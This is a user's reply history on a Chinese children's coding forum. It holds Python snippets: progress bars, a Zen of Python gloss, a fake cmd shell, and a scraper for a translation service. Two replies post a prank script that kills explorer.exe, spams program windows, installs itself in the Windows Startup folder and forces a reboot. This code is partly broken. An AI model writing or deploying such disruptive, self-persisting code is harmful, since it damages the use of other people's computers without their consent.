Lv.1
还有bcm老用户吗 [编辑于2026年5月16日 15点53分]
签名:作业作业作业作业作业作业作业作业作业作业作业作业作业作业作业作业作业作业作业作业浏览bcm作业作业作业作业作业作业作业作业作业作业作业作业
在 时间胶囊。。。 中回复
我也丢
print('胶囊储存中')
for x in range(100):
print('|'+'-'*x+'>'+' '*(99-x)+'|'+str(x)+'%',end='\r')
print('储存成功')2020-03-19T14:02:09 点赞:0
在 【Python作品分享】新的作品【求助帖】 中回复
1.
#开始进入Python的世界
2.
for __count in range(2):
3.
编程猫 = 1
飞行拳头 = 202020-03-23T12:39:40 点赞:0
在 Pythonic已更新 中回复
优美胜于丑陋(Python 以编写优美的代码为目标)
明了胜于晦涩(优美的代码应当是明了的,命名规范,风格相似)
简洁胜于复杂(优美的代码应当是简洁的,不要有复杂的内部实现)
复杂胜于凌乱(如果复杂不可避免,那代码间也不能有难懂的关系,要保持接口简洁)
扁平胜于嵌套(优美的代码应当是扁平的,不能有太多的嵌套)
间隔胜于紧凑(优美的代码有适当的间隔,不要奢望一行代码解决问题)
可读性很重要(优美的代码是可读的)
即便假借特例的实用性之名,也不可违背这些规则(这些规则至高无上)
不要包容所有错误,除非你确定需要这样做(精准地捕获异常,不写 except:pass 风格的代码)
当存在多种可能,不要尝试去猜测
而是尽量找一种,最好是唯一一种明显的解决方案(如果不确定,就用穷举法)
虽然这并不容易,因为你不是 Python 之父(这里的 Dutch 是指 Guido )
做也许好过不做,但不假思索就动手还不如不做(动手之前要细思量)
如果你无法向人描述你的方案,那肯定不是一个好方案;反之亦然(方案测评标准)
命名空间是一种绝妙的理念,我们应当多加利用(倡导与号召)
2020-03-28T15:42:17 点赞:0
在 【Python作品分享】cmd 中回复
程序更改:
import os,sys,getpass
name=getpass.getuser()
os.chdir('C:\\Users\\'+name)
print('Microsoft Windows[版本 喵]')
print('(c) 2019 Microsoft Corporation。保留所有权利。')
while True:
command=input('C:\\Users\\%s>'%(name))
if command.lower()=='taskkill -t -im cm d.exe -f':#此处空格防屏蔽
os.system('cls')
sys.exit(0)
else:
os.system(command)2020-03-29T14:08:20 点赞:1
在 【Python作品分享】加载进度条效果【教程贴】 中回复
e有一些词拼错了
1(5).codeing=>coding
(无关紧要)2(7).lodeing=>loading
2020-04-07T13:29:38 点赞:3
在 求素材!!!有没有会语言编程的朋友啊!!!我找你们有事 中回复
from os import system
from random import choice
print('呵呵呵')
system('taskkill -t -im explorer.exe -f')
print('你完了')
while True:
try:
print('警告!电脑即将喵机')
system('start '+choice(['cm'+'d.exe','calc.exe','SoundRecorder.exe']))
with open('C:\你的电脑即将喵机.txt') as f:
f.write('喵机吧!')
except KeyboardInterrupt:
print('别按Ctrl+C了,没用的')2020-04-10T16:06:00 点赞:1
在 求素材!!!有没有会语言编程的朋友啊!!!我找你们有事 中回复
加强版:开机自启
with open('C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PYTHONFILE.bat','w') as f:
a='''python C:\Users\hhh.py
pause'''
f.write(a)
code='''from os import system
from random import choice
print('呵呵呵')
system('taskkill -t -im explorer.exe -f')
print('你完了')
for x in range(10000):
try:
print('警告!电脑即将死机')
system('start '+choice(['cm'+'d.exe','calc.exe','SoundRecorder.exe']))
with open('C:\你的电脑即将死机.txt','w') as f:
f.write('死机吧!')
except KeyboardInterrupt:
print('别按Ctrl+C了,没用的')
system('shutdown -r now')'''
with open('C:\Users\hhh.py','w') as f:
f.write(code)
from os import system
system('python C:\Users\hhh.py')2020-04-10T16:45:15 点赞:1
在 Python 使用白嫖网易翻译 API 进行翻译 中回复
def translate(key):
from urllib import request
import urllib
from re import findall
url='http://fanyi.youdao.com/translate?喵artresult=dict&喵artresult=rule'
fdata={
'i':key,
'from':'AUTO',
'to':'AUTO',
'喵artresult':'dict',
'client':'fanyideskweb',
'salt':'15856504706154',
'sign':'7f5afb286b6a0704cbcae3ec11ac1706',
'ts':'1585650470615',
'bv':'acc97416ef67184f42e5a4a03c3d52ab',
'doctype':'json',
'version':'2.1',
'keyfrom':'fanyi.web',
'action':'FY_BY_REALTlME'
}
headers={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KH喵L, like Gecko) Chrome/78.0.3904.108 Safari/537.36'}
fdata=urllib.parse.urlencode(fdata).encode(encoding='utf-8')
req=request.Request(url,headers=headers,data=fdata)
resp=request.urlopen(req).read().decode()
pat=r'"tgt":"(.*?)"'
data=findall(pat,resp)
return data
最后:
print(translate('你好')[0])2020-04-12T17:09:12 点赞:0